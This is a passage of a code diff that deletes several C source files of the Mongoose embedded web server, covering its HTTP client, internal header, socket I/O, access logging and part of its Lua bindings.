-  for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {
-    len = p - path;
-    if (len >= (int) sizeof(buf)) {
-      res = -1;
-      break;
-    }
-    memcpy(buf, path, len);
-    buf[len] = '\0';
-
-    // Try to create intermediate directory
-    DEBUG_TRACE(("mkdir(%s)", buf));
-    if (!mg_stat(buf, &file) && mg_mkdir(buf, 0755) != 0) {
-      res = -1;
-      break;
-    }
-
-    // Is path itself a directory?
-    if (p[1] == '\0') {
-      res = 0;
-    }
-  }
-
-  return res;
-}

build/src/http_client.c

@@ -1,97 +0,0 @@
-#include "internal.h"
-
-static SOCKET conn2(const char *host, int port, int use_ssl,
-                    char *ebuf, size_t ebuf_len) {
-  struct sockaddr_in sin;
-  struct hostent *he = NULL;
-  SOCKET sock = INVALID_SOCKET;
-
-  (void) use_ssl; // Prevent warning for -DNO_SSL case
-
-  if (host == NULL) {
-    snprintf(ebuf, ebuf_len, "%s", "NULL host");
-#ifndef NO_SSL
-  } else if (use_ssl && SSLv23_client_method == NULL) {
-    snprintf(ebuf, ebuf_len, "%s", "SSL is not initialized");
-    // TODO(lsm): use something threadsafe instead of gethostbyname()
-#endif
-  } else if ((he = gethostbyname(host)) == NULL) {
-    snprintf(ebuf, ebuf_len, "gethostbyname(%s): %s", host, strerror(ERRNO));
-  } else if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
-    snprintf(ebuf, ebuf_len, "socket(): %s", strerror(ERRNO));
-  } else {
-    set_close_on_exec(sock);
-    sin.sin_family = AF_INET;
-    sin.sin_port = htons((uint16_t) port);
-    sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
-    if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) != 0) {
-      snprintf(ebuf, ebuf_len, "connect(%s:%d): %s",
-               host, port, strerror(ERRNO));
-      closesocket(sock);
-      sock = INVALID_SOCKET;
-    }
-  }
-  return sock;
-}
-
-struct mg_connection *mg_connect(const char *host, int port, int use_ssl,
-                                 char *ebuf, size_t ebuf_len) {
-  static struct mg_context fake_ctx;
-  struct mg_connection *conn = NULL;
-  SOCKET sock;
-
-  if ((sock = conn2(host, port, use_ssl, ebuf, ebuf_len)) == INVALID_SOCKET) {
-  } else if ((conn = (struct mg_connection *)
-              calloc(1, sizeof(*conn) + MAX_REQUEST_SIZE)) == NULL) {
-    snprintf(ebuf, ebuf_len, "calloc(): %s", strerror(ERRNO));
-    closesocket(sock);
-#ifndef NO_SSL
-  } else if (use_ssl && (conn->client_ssl_ctx =
-                         SSL_CTX_new(SSLv23_client_method())) == NULL) {
-    snprintf(ebuf, ebuf_len, "SSL_CTX_new error");
-    closesocket(sock);
-    free(conn);
-    conn = NULL;
-#endif // NO_SSL
-  } else {
-    socklen_t len = sizeof(struct sockaddr);
-    conn->buf_size = MAX_REQUEST_SIZE;
-    conn->buf = (char *) (conn + 1);
-    conn->ctx = &fake_ctx;
-    conn->client.sock = sock;
-    getsockname(sock, &conn->client.rsa.sa, &len);
-    conn->client.is_ssl = use_ssl;
-#ifndef NO_SSL
-    if (use_ssl) {
-      // SSL_CTX_set_verify call is needed to switch off server certificate
-      // checking, which is off by default in OpenSSL and on in yaSSL.
-      SSL_CTX_set_verify(conn->client_ssl_ctx, 0, 0);
-      sslize(conn, conn->client_ssl_ctx, SSL_connect);
-    }
-#endif
-  }
-
-  return conn;
-}
-
-struct mg_connection *mg_download(const char *host, int port, int use_ssl,
-                                  char *ebuf, size_t ebuf_len,
-                                  const char *fmt, ...) {
-  struct mg_connection *conn;
-  const char *msg = NULL;
-  va_list ap;
-
-  va_start(ap, fmt);
-  if ((conn = mg_connect(host, port, use_ssl, ebuf, ebuf_len)) == NULL) {
-  } else if (mg_vprintf(conn, fmt, ap) <= 0) {
-    snprintf(ebuf, ebuf_len, "%s", "Error sending request");
-  } else {
-    msg = getreq(conn);
-  }
-  if (msg != NULL && conn != NULL) {
-    mg_close_connection(conn);
-    conn = NULL;
-  }
-
-  return conn;
-}

build/src/internal.h

@@ -1,458 +0,0 @@
-// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
-// Copyright (c) 2013 Cesanta Software Limited
-// All rights reserved
-//
-// This library is dual-licensed: you can redistribute it and/or modify
-// it under the terms of the GNU General Public License version 2 as
-// published by the Free Software Foundation. For the terms of this
-// license, see <http://www.gnu.org/licenses/>.
-//
-// You are free to use this library under the terms of the GNU General
-// Public License, but WITHOUT ANY WARRANTY; without even the implied
-// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-// See the GNU General Public License for more details.
-//
-// Alternatively, you can license this library under a commercial
-// license, as set out in <http://cesanta.com/products.html>.
-
-#if defined(_WIN32)
-#undef _UNICODE
-#define _MBCS
-#if !defined(_CRT_SECURE_NO_WARNINGS)
-#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
-#endif
-#else
-#ifdef __linux__
-#define _XOPEN_SOURCE 600     // For flockfile() on Linux
-#endif
-#if !defined(_LARGEFILE_SOURCE)
-#define _LARGEFILE_SOURCE     // Enable 64-bit file offsets
-#endif
-#define __STDC_FORMAT_MACROS  // <inttypes.h> wants this for C++
-#define __STDC_LIMIT_MACROS   // C++ wants that for INT64_MAX
-#endif
-
-#if defined (_MSC_VER)
-// conditional expression is constant: introduced by FD_SET(..)
-#pragma warning (disable : 4127)
-// non-constant aggregate initializer: issued due to missing C99 support
-#pragma warning (disable : 4204)
-#endif
-
-// Disable WIN32_LEAN_AND_MEAN.
-// This makes windows.h always include winsock2.h
-#ifdef WIN32_LEAN_AND_MEAN
-#undef WIN32_LEAN_AND_MEAN
-#endif
-
-#ifndef _WIN32_WCE // Some ANSI #includes are not available on Windows CE
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <errno.h>
-#include <signal.h>
-#include <fcntl.h>
-#endif // !_WIN32_WCE
-
-#include <time.h>
-#include <stdlib.h>
-#include <stdarg.h>
-#include <assert.h>
-#include <string.h>
-#include <ctype.h>
-#include <limits.h>
-#include <stddef.h>
-#include <stdio.h>
-
-#if defined(_WIN32) // Windows specific
-#undef _WIN32_WINNT
-#define _WIN32_WINNT 0x0400 // To make it link in VS2005
-#include <windows.h>
-
-#ifndef PATH_MAX
-#define PATH_MAX MAX_PATH
-#endif
-
-#ifndef _WIN32_WCE
-#include <process.h>
-#include <direct.h>
-#include <io.h>
-#else // _WIN32_WCE
-#define NO_CGI // WinCE has no pipes
-
-typedef long off_t;
-
-#define errno   GetLastError()
-#define strerror(x)  _ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
-#endif // _WIN32_WCE
-
-#define MAKEUQUAD(lo, hi) ((uint64_t)(((uint32_t)(lo)) | \
-      ((uint64_t)((uint32_t)(hi))) << 32))
-#define RATE_DIFF 10000000 // 100 nsecs
-#define EPOCH_DIFF MAKEUQUAD(0xd53e8000, 0x019db1de)
-#define SYS2UNIX_TIME(lo, hi) \
-  (time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
-
-// Visual Studio 6 does not know __func__ or __FUNCTION__
-// The rest of MS compilers use __FUNCTION__, not C99 __func__
-// Also use _strtoui64 on modern M$ compilers
-#if defined(_MSC_VER) && _MSC_VER < 1300
-#define STRX(x) #x
-#define STR(x) STRX(x)
-#define __func__ __FILE__ ":" STR(__LINE__)
-#define strtoull(x, y, z) (unsigned __int64) _atoi64(x)
-#define strtoll(x, y, z) _atoi64(x)
-#else
-#define __func__  __FUNCTION__
-#define strtoull(x, y, z) _strtoui64(x, y, z)
-#define strtoll(x, y, z) _strtoi64(x, y, z)
-#endif // _MSC_VER
-
-#define ERRNO   GetLastError()
-#define NO_SOCKLEN_T
-#define SSL_LIB   "ssleay32.dll"
-#define CRYPTO_LIB  "libeay32.dll"
-#define O_NONBLOCK  0
-#if !defined(EWOULDBLOCK)
-#define EWOULDBLOCK  WSAEWOULDBLOCK
-#endif // !EWOULDBLOCK
-#define _POSIX_
-#define INT64_FMT  "I64d"
-
-#define WINCDECL __cdecl
-#define SHUT_WR 1
-#define snprintf _snprintf
-#define vsnprintf _vsnprintf
-#define mg_sleep(x) Sleep(x)
-
-#define pipe(x) _pipe(x, MG_BUF_LEN, _O_BINARY)
-#ifndef popen
-#define popen(x, y) _popen(x, y)
-#endif
-#ifndef pclose
-#define pclose(x) _pclose(x)
-#endif
-#define close(x) _close(x)
-#define dlsym(x,y) GetProcAddress((HINSTANCE) (x), (y))
-#define RTLD_LAZY  0
-#define fseeko(x, y, z) _lseeki64(_fileno(x), (y), (z))
-#define fdopen(x, y) _fdopen((x), (y))
-#define write(x, y, z) _write((x), (y), (unsigned) z)
-#define read(x, y, z) _read((x), (y), (unsigned) z)
-#define flockfile(x)
-#define funlockfile(x)
-#define sleep(x) Sleep((x) * 1000)
-#define rmdir(x) _rmdir(x)
-
-#if !defined(va_copy)
-#define va_copy(x, y) x = y
-#endif // !va_copy MINGW #defines va_copy
-
-#if !defined(fileno)
-#define fileno(x) _fileno(x)
-#endif // !fileno MINGW #defines fileno
-
-typedef HANDLE pthread_mutex_t;
-typedef DWORD pthread_t;
-#define pid_t HANDLE // MINGW typedefs pid_t to int. Using #define here.
-
-static int pthread_mutex_lock(pthread_mutex_t *);
-static int pthread_mutex_unlock(pthread_mutex_t *);
-static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len);
-
-#if defined(HAVE_STDINT)
-#include <stdint.h>
-#else
-typedef unsigned int  uint32_t;
-typedef unsigned short  uint16_t;
-typedef unsigned __int64 uint64_t;
-typedef __int64   int64_t;
-#define INT64_MAX  9223372036854775807
-#endif // HAVE_STDINT
-
-// POSIX dirent interface
-struct dirent {
-  char d_name[PATH_MAX];
-};
-
-typedef struct DIR {
-  HANDLE   handle;
-  WIN32_FIND_DATAW info;
-  struct dirent  result;
-} DIR;
-
-struct pollfd {
-  SOCKET fd;
-  short events;
-  short revents;
-};
-#define POLLIN 1
-
-#ifdef HAVE_POLL
-#define poll(x, y, z)  WSAPoll((x), (y), (z))
-#endif
-
-
-// Mark required libraries
-#ifdef _MSC_VER
-#pragma comment(lib, "Ws2_32.lib")
-#endif
-
-#else    // UNIX  specific
-#include <sys/wait.h>
-#include <sys/socket.h>
-#include <sys/poll.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <sys/time.h>
-#include <stdint.h>
-#include <inttypes.h>
-#include <netdb.h>
-
-#include <pwd.h>
-#include <unistd.h>
-#include <dirent.h>
-#if !defined(NO_SSL_DL) && !defined(NO_SSL)
-#include <dlfcn.h>
-#endif
-#include <pthread.h>
-#if defined(__MACH__)
-#define SSL_LIB   "libssl.dylib"
-#define CRYPTO_LIB  "libcrypto.dylib"
-#else
-#if !defined(SSL_LIB)
-#define SSL_LIB   "libssl.so"
-#endif
-#if !defined(CRYPTO_LIB)
-#define CRYPTO_LIB  "libcrypto.so"
-#endif
-#endif
-#ifndef O_BINARY
-#define O_BINARY  0
-#endif // O_BINARY
-#define closesocket(a) close(a)
-#define mg_mkdir(x, y) mkdir(x, y)
-#define mg_remove(x) remove(x)
-#define mg_sleep(x) usleep((x) * 1000)
-#define ERRNO errno
-#define INVALID_SOCKET (-1)
-#define INT64_FMT PRId64
-typedef int SOCKET;
-#define WINCDECL
-
-#endif // End of Windows and UNIX specific includes
-
-#include "mongoose.h"
-
-#define MONGOOSE_VERSION "5.0"
-#define PASSWORDS_FILE_NAME ".htpasswd"
-#define CGI_ENVIRONMENT_SIZE 4096
-#define MAX_CGI_ENVIR_VARS 64
-#define MG_BUF_LEN 8192
-#define MAX_REQUEST_SIZE 16384
-#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
-
-typedef SOCKET sock_t;
-
-#ifdef DEBUG_TRACE
-#undef DEBUG_TRACE
-#define DEBUG_TRACE(x)
-#else
-#if defined(DEBUG)
-#define DEBUG_TRACE(x) do { \
-  flockfile(stdout); \
-  printf("*** %lu.%p.%s.%d: ", \
-         (unsigned long) time(NULL), (void *) pthread_self(), \
-         __func__, __LINE__); \
-  printf x; \
-  putchar('\n'); \
-  fflush(stdout); \
-  funlockfile(stdout); \
-} while (0)
-#else
-#define DEBUG_TRACE(x)
-#endif // DEBUG
-#endif // DEBUG_TRACE
-
-// Darwin prior to 7.0 and Win32 do not have socklen_t
-#ifdef NO_SOCKLEN_T
-typedef int socklen_t;
-#endif // NO_SOCKLEN_T
-#define _DARWIN_UNLIMITED_SELECT
-
-#define IP_ADDR_STR_LEN 50  // IPv6 hex string is 46 chars
-
-#if !defined(MSG_NOSIGNAL)
-#define MSG_NOSIGNAL 0
-#endif
-
-#if !defined(SOMAXCONN)
-#define SOMAXCONN 100
-#endif
-
-#if !defined(PATH_MAX)
-#define PATH_MAX 4096
-#endif
-
-// Size of the accepted socket queue
-#if !defined(MGSQLEN)
-#define MGSQLEN 20
-#endif
-
-// Extra HTTP headers to send in every static file reply
-#if !defined(EXTRA_HTTP_HEADERS)
-#define EXTRA_HTTP_HEADERS ""
-#endif
-
-static const char *http_500_error = "Internal Server Error";
-
-#if defined(NO_SSL_DL)
-#include <openssl/ssl.h>
-#include <openssl/err.h>
-#else
-// SSL loaded dynamically from DLL.
-// I put the prototypes here to be independent from OpenSSL source installation.
-typedef struct ssl_st SSL;
-typedef struct ssl_method_st SSL_METHOD;
-typedef struct ssl_ctx_st SSL_CTX;
-
-struct ssl_func {
-  const char *name;   // SSL function name
-  void  (*ptr)(void); // Function pointer
-};
-
-#define SSL_free (* (void (*)(SSL *)) ssl_sw[0].ptr)
-#define SSL_accept (* (int (*)(SSL *)) ssl_sw[1].ptr)
-#define SSL_connect (* (int (*)(SSL *)) ssl_sw[2].ptr)
-#define SSL_read (* (int (*)(SSL *, void *, int)) ssl_sw[3].ptr)
-#define SSL_write (* (int (*)(SSL *, const void *,int)) ssl_sw[4].ptr)
-#define SSL_get_error (* (int (*)(SSL *, int)) ssl_sw[5].ptr)
-#define SSL_set_fd (* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)
-#define SSL_new (* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)
-#define SSL_CTX_new (* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)
-#define SSLv23_server_method (* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)
-#define SSL_library_init (* (int (*)(void)) ssl_sw[10].ptr)
-#define SSL_CTX_use_PrivateKey_file (* (int (*)(SSL_CTX *, \
-        const char *, int)) ssl_sw[11].ptr)
-#define SSL_CTX_use_certificate_file (* (int (*)(SSL_CTX *, \
-        const char *, int)) ssl_sw[12].ptr)
-#define SSL_CTX_set_default_passwd_cb \
-  (* (void (*)(SSL_CTX *, mg_event_handler_t)) ssl_sw[13].ptr)
-#define SSL_CTX_free (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)
-#define SSL_load_error_strings (* (void (*)(void)) ssl_sw[15].ptr)
-#define SSL_CTX_use_certificate_chain_file \
-  (* (int (*)(SSL_CTX *, const char *)) ssl_sw[16].ptr)
-#define SSLv23_client_method (* (SSL_METHOD * (*)(void)) ssl_sw[17].ptr)
-#define SSL_pending (* (int (*)(SSL *)) ssl_sw[18].ptr)
-#define SSL_CTX_set_verify (* (void (*)(SSL_CTX *, int, int)) ssl_sw[19].ptr)
-#define SSL_shutdown (* (int (*)(SSL *)) ssl_sw[20].ptr)
-
-#define CRYPTO_num_locks (* (int (*)(void)) crypto_sw[0].ptr)
-#define CRYPTO_set_locking_callback \
-  (* (void (*)(void (*)(int, int, const char *, int))) crypto_sw[1].ptr)
-#define CRYPTO_set_id_callback \
-  (* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)
-#define ERR_get_error (* (unsigned long (*)(void)) crypto_sw[3].ptr)
-#define ERR_error_string (* (char * (*)(unsigned long,char *)) crypto_sw[4].ptr)
-#endif // NO_SSL_DL
-
-// Unified socket address. For IPv6 support, add IPv6 address structure
-// in the union u.
-union usa {
-  struct sockaddr sa;
-  struct sockaddr_in sin;
-#if defined(USE_IPV6)
-  struct sockaddr_in6 sin6;
-#endif
-};
-
-// Describes a string (chunk of memory).
-struct vec {
-  const char *ptr;
-  size_t len;
-};
-
-struct file {
-  int is_directory;
-  time_t modification_time;
-  int64_t size;
-  // set to 1 if the content is gzipped
-  // in which case we need a content-encoding: gzip header
-  int gzipped;
-};
-#define STRUCT_FILE_INITIALIZER { 0, 0, 0, 0 }
-
-// Describes listening socket, or socket which was accept()-ed by the master
-// thread and queued for future handling by the worker thread.
-struct socket {
-  SOCKET sock;          // Listening socket
-  union usa lsa;        // Local socket address
-  union usa rsa;        // Remote socket address
-  unsigned is_ssl:1;    // Is port SSL-ed
-  unsigned ssl_redir:1; // Is port supposed to redirect everything to SSL port
-};
-
-// NOTE(lsm): this enum shoulds be in sync with the config_options.
-enum {
-  CGI_EXTENSIONS, CGI_ENVIRONMENT, PUT_DELETE_PASSWORDS_FILE, CGI_INTERPRETER,
-  PROTECT_URI, AUTHENTICATION_DOMAIN, SSI_EXTENSIONS,
-  ACCESS_LOG_FILE, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
-  GLOBAL_PASSWORDS_FILE, INDEX_FILES, ENABLE_KEEP_ALIVE, ACCESS_CONTROL_LIST,
-  EXTRA_MIME_TYPES, LISTENING_PORTS, DOCUMENT_ROOT, SSL_CERTIFICATE,
-  NUM_THREADS, RUN_AS_USER, REWRITE, HIDE_FILES, REQUEST_TIMEOUT,
-  NUM_OPTIONS
-};
-
-struct mg_context {
-  volatile int stop_flag;         // Should we stop event loop
-  SSL_CTX *ssl_ctx;               // SSL context
-  char *config[NUM_OPTIONS];      // Mongoose configuration parameters
-  mg_event_handler_t event_handler;  // User-defined callback function
-  void *user_data;                // User-defined data
-  struct socket *listening_sockets;
-  int num_listening_sockets;
-  int num_threads;    // Number of threads
-  sock_t ctl[2];     // Socket pair for inter-thread communication
-
-};
-
-struct mg_connection {
-  struct mg_request_info request_info;
-  struct mg_event event;
-  struct mg_context *ctx;
-  SSL *ssl;                   // SSL descriptor
-  SSL_CTX *client_ssl_ctx;    // SSL context for client connections
-  struct socket client;       // Connected client
-  time_t birth_time;          // Time when request was received
-  int64_t num_bytes_sent;     // Total bytes sent to client
-  int64_t content_len;        // Content-Length header value
-  int64_t num_bytes_read;     // Bytes read from a remote socket
-  char *buf;                  // Buffer for received data
-  char *path_info;            // PATH_INFO part of the URL
-  int must_close;             // 1 if connection must be closed
-  int buf_size;               // Buffer size
-  int request_len;            // Size of the request + headers in a buffer
-  int data_len;               // Total size of data in a buffer
-  int status_code;            // HTTP reply status code, e.g. 200
-};
-
-// Directory entry
-struct de {
-  struct mg_connection *conn;
-  char *file_name;
-  struct file file;
-};
-
-static FILE *mg_fopen(const char *path, const char *mode);
-static int mg_stat(const char *path, struct file *filep);
-static void send_http_error(struct mg_connection *, int, const char *,
-                            PRINTF_FORMAT_STRING(const char *fmt), ...)
-                            PRINTF_ARGS(4, 5);
-static void cry(struct mg_connection *conn,
-                PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
-static const char *getreq(struct mg_connection *conn);
-
-#ifdef USE_LUA
-#include "lua_5.2.1.h"
-static int handle_lsp_request(struct mg_connection *, const char *,
-                              struct file *, struct lua_State *);
-#endif

build/src/io.c

@@ -1,187 +0,0 @@
-#include "internal.h"
-
-// Return number of bytes left to read for this connection
-static int64_t left_to_read(const struct mg_connection *conn) {
-  return conn->content_len + conn->request_len - conn->num_bytes_read;
-}
-
-// Write data to the IO channel - opened file descriptor, socket or SSL
-// descriptor. Return number of bytes written.
-static int64_t push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf,
-                    int64_t len) {
-  int64_t sent;
-  int n, k;
-
-  (void) ssl;  // Get rid of warning
-  sent = 0;
-  while (sent < len) {
-
-    // How many bytes we send in this iteration
-    k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
-
-#if !defined(NO_SSL)
-    if (ssl != NULL) {
-      n = SSL_write(ssl, buf + sent, k);
-    } else
-#endif
-    if (fp != NULL) {
-      n = (int) fwrite(buf + sent, 1, (size_t) k, fp);
-      if (ferror(fp))
-        n = -1;
-    } else {
-      n = send(sock, buf + sent, (size_t) k, MSG_NOSIGNAL);
-    }
-
-    if (n <= 0)
-      break;
-
-    sent += n;
-  }
-
-  return sent;
-}
-
-// Read from IO channel - opened file descriptor, socket, or SSL descriptor.
-// Return negative value on error, or number of bytes read on success.
-static int pull(FILE *fp, struct mg_connection *conn, char *buf, int len) {
-  int nread;
-
-  if (len <= 0) return 0;
-  if (fp != NULL) {
-    // Use read() instead of fread(), because if we're reading from the CGI
-    // pipe, fread() may block until IO buffer is filled up. We cannot afford
-    // to block and must pass all read bytes immediately to the client.
-    nread = read(fileno(fp), buf, (size_t) len);
-#ifndef NO_SSL
-  } else if (conn->ssl != NULL) {
-    nread = SSL_read(conn->ssl, buf, len);
-#endif
-  } else {
-    nread = recv(conn->client.sock, buf, (size_t) len, 0);
-  }
-  if (nread > 0) {
-    conn->num_bytes_read += nread;
-  }
-
-  return conn->ctx->stop_flag ? -1 : nread;
-}
-
-static int pull_all(FILE *fp, struct mg_connection *conn, char *buf, int len) {
-  int n, nread = 0;
-
-  while (len > 0 && conn->ctx->stop_flag == 0) {
-    n = pull(fp, conn, buf + nread, len);
-    if (n < 0) {
-      nread = n;  // Propagate the error
-      break;
-    } else if (n == 0) {
-      break;  // No more data to read
-    } else {
-      nread += n;
-      len -= n;
-    }
-  }
-
-  return nread;
-}
-
-int mg_read(struct mg_connection *conn, void *buf, int len) {
-  int n, buffered_len, nread = 0;
-  int64_t left;
-
-  if (conn->content_len <= 0) {
-    return 0;
-  }
-
-  // conn->buf           body
-  //    |=================|==========|===============|
-  //    |<--request_len-->|                          |
-  //    |<-----------data_len------->|      conn->buf + conn->buf_size
-
-  // First, check for data buffered in conn->buf by read_request().
-  if (len > 0 && (buffered_len = conn->data_len - conn->request_len) > 0) {
-    char *body = conn->buf + conn->request_len;
-    if (buffered_len > len) buffered_len = len;
-    if (buffered_len > conn->content_len) buffered_len = (int)conn->content_len;
-
-    memcpy(buf, body, (size_t) buffered_len);
-    memmove(body, body + buffered_len,
-            &conn->buf[conn->data_len] - &body[buffered_len]);
-    len -= buffered_len;
-    conn->data_len -= buffered_len;
-    nread += buffered_len;
-  }
-
-  // Read data from the socket.
-  if (len > 0 && (left = left_to_read(conn)) > 0) {
-    if (left < len) {
-      len = (int) left;
-    }
-    n = pull_all(NULL, conn, (char *) buf + nread, (int) len);
-    nread = n >= 0 ? nread + n : n;
-  }
-
-  return nread;
-}
-
-int mg_write(struct mg_connection *conn, const void *buf, int len) {
-  return (int) push(NULL, conn->client.sock, conn->ssl, (const char *) buf,
-                    (int64_t) len);
-}
-
-// Keep reading the input (either opened file descriptor fd, or socket sock,
-// or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
-// buffer (which marks the end of HTTP request). Buffer buf may already
-// have some data. The length of the data is stored in nread.
-// Upon every read operation, increase nread by the number of bytes read.
-static int read_request(FILE *fp, struct mg_connection *conn,
-                        char *buf, int bufsiz, int *nread) {
-  int request_len, n = 0;
-
-  request_len = get_request_len(buf, *nread);
-  while (conn->ctx->stop_flag == 0 &&
-         *nread < bufsiz &&
-         request_len == 0 &&
-         (n = pull(fp, conn, buf + *nread, bufsiz - *nread)) > 0) {
-    *nread += n;
-    assert(*nread <= bufsiz);
-    request_len = get_request_len(buf, *nread);
-  }
-
-  return request_len <= 0 && n <= 0 ? -1 : request_len;
-}
-
-// Send len bytes from the opened file to the client.
-static void send_file_data(struct mg_connection *conn, FILE *fp,
-                           int64_t offset, int64_t len) {
-  char buf[MG_BUF_LEN];
-  int num_read, num_written, to_read;
-
-  // If offset is beyond file boundaries, don't send anything
-  if (offset > 0 && fseeko(fp, offset, SEEK_SET) != 0) {
-    return;
-  }
-
-  while (len > 0) {
-    // Calculate how much to read from the file in the buffer
-    to_read = sizeof(buf);
-    if ((int64_t) to_read > len) {
-      to_read = (int) len;
-    }
-
-    // Read from file, exit the loop on error
-    if ((num_read = fread(buf, 1, (size_t) to_read, fp)) <= 0) {
-      break;
-    }
-
-    // Send read bytes to the client, exit the loop on error
-    if ((num_written = mg_write(conn, buf, (size_t) num_read)) != num_read) {
-      break;
-    }
-
-    // Both read and were successful, adjust counters
-    conn->num_bytes_sent += num_written;
-    len -= num_written;
-  }
-}
-

build/src/log.c

@@ -1,44 +0,0 @@
-#include "internal.h"
-
-static void log_header(const struct mg_connection *conn, const char *header,
-                       FILE *fp) {
-  const char *header_value;
-
-  if ((header_value = mg_get_header(conn, header)) == NULL) {
-    (void) fprintf(fp, "%s", " -");
-  } else {
-    (void) fprintf(fp, " \"%s\"", header_value);
-  }
-}
-
-static void log_access(const struct mg_connection *conn) {
-  const struct mg_request_info *ri;
-  FILE *fp;
-  char date[64], src_addr[IP_ADDR_STR_LEN];
-
-  fp = conn->ctx->config[ACCESS_LOG_FILE] == NULL ?  NULL :
-    fopen(conn->ctx->config[ACCESS_LOG_FILE], "a+");
-
-  if (fp == NULL)
-    return;
-
-  strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
-           localtime(&conn->birth_time));
-
-  ri = &conn->request_info;
-  flockfile(fp);
-
-  sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
-  fprintf(fp, "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
-          src_addr, ri->remote_user == NULL ? "-" : ri->remote_user, date,
-          ri->request_method ? ri->request_method : "-",
-          ri->uri ? ri->uri : "-", ri->http_version,
-          conn->status_code, conn->num_bytes_sent);
-  log_header(conn, "Referer", fp);
-  log_header(conn, "User-Agent", fp);
-  fputc('\n', fp);
-  fflush(fp);
-
-  funlockfile(fp);
-  fclose(fp);
-}

build/src/lua.c

@@ -1,390 +0,0 @@
-#include "internal.h"
-
-#ifdef USE_LUA
-#ifdef _WIN32
-static void *mmap(void *addr, int64_t len, int prot, int flags, int fd,
-                  int offset) {
-  HANDLE fh = (HANDLE) _get_osfhandle(fd);
-  HANDLE mh = CreateFileMapping(fh, 0, PAGE_READONLY, 0, 0, 0);
-  void *p = MapViewOfFile(mh, FILE_MAP_READ, 0, 0, (size_t) len);
-  CloseHandle(mh);
-  return p;
-}
-#define munmap(x, y)  UnmapViewOfFile(x)
-#define MAP_FAILED NULL
-#define MAP_PRIVATE 0
-#define PROT_READ 0
-#else
-#include <sys/mman.h>
-#endif
-
-static const char *LUASOCKET = "luasocket";
-
-// Forward declarations
-static int handle_lsp_request(struct mg_connection *, const char *,
-                              struct file *, struct lua_State *);
-
-static void reg_string(struct lua_State *L, const char *name, const char *val) {
-  lua_pushstring(L, name);
-  lua_pushstring(L, val);
-  lua_rawset(L, -3);
-}
-
-static void reg_int(struct lua_State *L, const char *name, int val) {
-  lua_pushstring(L, name);
-  lua_pushinteger(L, val);
-  lua_rawset(L, -3);
-}
-
-static void reg_function(struct lua_State *L, const char *name,
-                         lua_CFunction func, struct mg_connection *conn) {
-  lua_pushstring(L, name);
-  lua_pushlightuserdata(L, conn);
-  lua_pushcclosure(L, func, 1);
-  lua_rawset(L, -3);
-}
-
-static int lsp_sock_close(lua_State *L) {
-  if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
-    lua_getfield(L, -1, "sock");
-    closesocket((SOCKET) lua_tonumber(L, -1));
-  } else {
-    return luaL_error(L, "invalid :close() call");
-  }
-  return 1;
-}
-
-static int lsp_sock_recv(lua_State *L) {
-  char buf[2000];
-  int n;
-
-  if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
-    lua_getfield(L, -1, "sock");
-    n = recv((SOCKET) lua_tonumber(L, -1), buf, sizeof(buf), 0);
-    if (n <= 0) {
-      lua_pushnil(L);
-    } else {
-      lua_pushlstring(L, buf, n);
-    }
-  } else {
-    return luaL_error(L, "invalid :close() call");
-  }
-  return 1;
-}
-
-static int lsp_sock_send(lua_State *L) {
-  const char *buf;
-  size_t len, sent = 0;
-  int n, sock;
-
-  if (lua_gettop(L) > 1 && lua_istable(L, -2) && lua_isstring(L, -1)) {
-    buf = lua_tolstring(L, -1, &len);
-    lua_getfield(L, -2, "sock");
-    sock = (int) lua_tonumber(L, -1);
-    while (sent < len) {
-      if ((n = send(sock, buf + sent, len - sent, 0)) <= 0) {
-        break;
-      }
-      sent += n;
-    }
-    lua_pushnumber(L, n);
-  } else {
-    return luaL_error(L, "invalid :close() call");
-  }
-  return 1;
-}
-
-static const struct luaL_Reg luasocket_methods[] = {
-  {"close", lsp_sock_close},
-  {"send", lsp_sock_send},
-  {"recv", lsp_sock_recv},
-  {NULL, NULL}
-};
-
-static int lsp_connect(lua_State *L) {
-  char ebuf[100];
-  SOCKET sock;
-
-  if (lua_isstring(L, -3) && lua_isnumber(L, -2) && lua_isnumber(L, -1)) {
-    sock = conn2(lua_tostring(L, -3), (int) lua_tonumber(L, -2),
-                 (int) lua_tonumber(L, -1), ebuf, sizeof(ebuf));
-    if (sock == INVALID_SOCKET) {
-      return luaL_error(L, ebuf);
-    } else {
-      lua_newtable(L);
-      reg_int(L, "sock", sock);
-      reg_string(L, "host", lua_tostring(L, -4));
-      luaL_getmetatable(L, LUASOCKET);
-      lua_setmetatable(L, -2);
-    }
-  } else {
-    return luaL_error(L, "connect(host,port,is_ssl): invalid parameter given.");
-  }
-  return 1;
-}
-
-static int lsp_error(lua_State *L) {
-  lua_getglobal(L, "mg");
-  lua_getfield(L, -1, "onerror");
-  lua_pushvalue(L, -3);
-  lua_pcall(L, 1, 0, 0);
-  return 0;
-}
-
-// Silently stop processing chunks.
-static void lsp_abort(lua_State *L) {
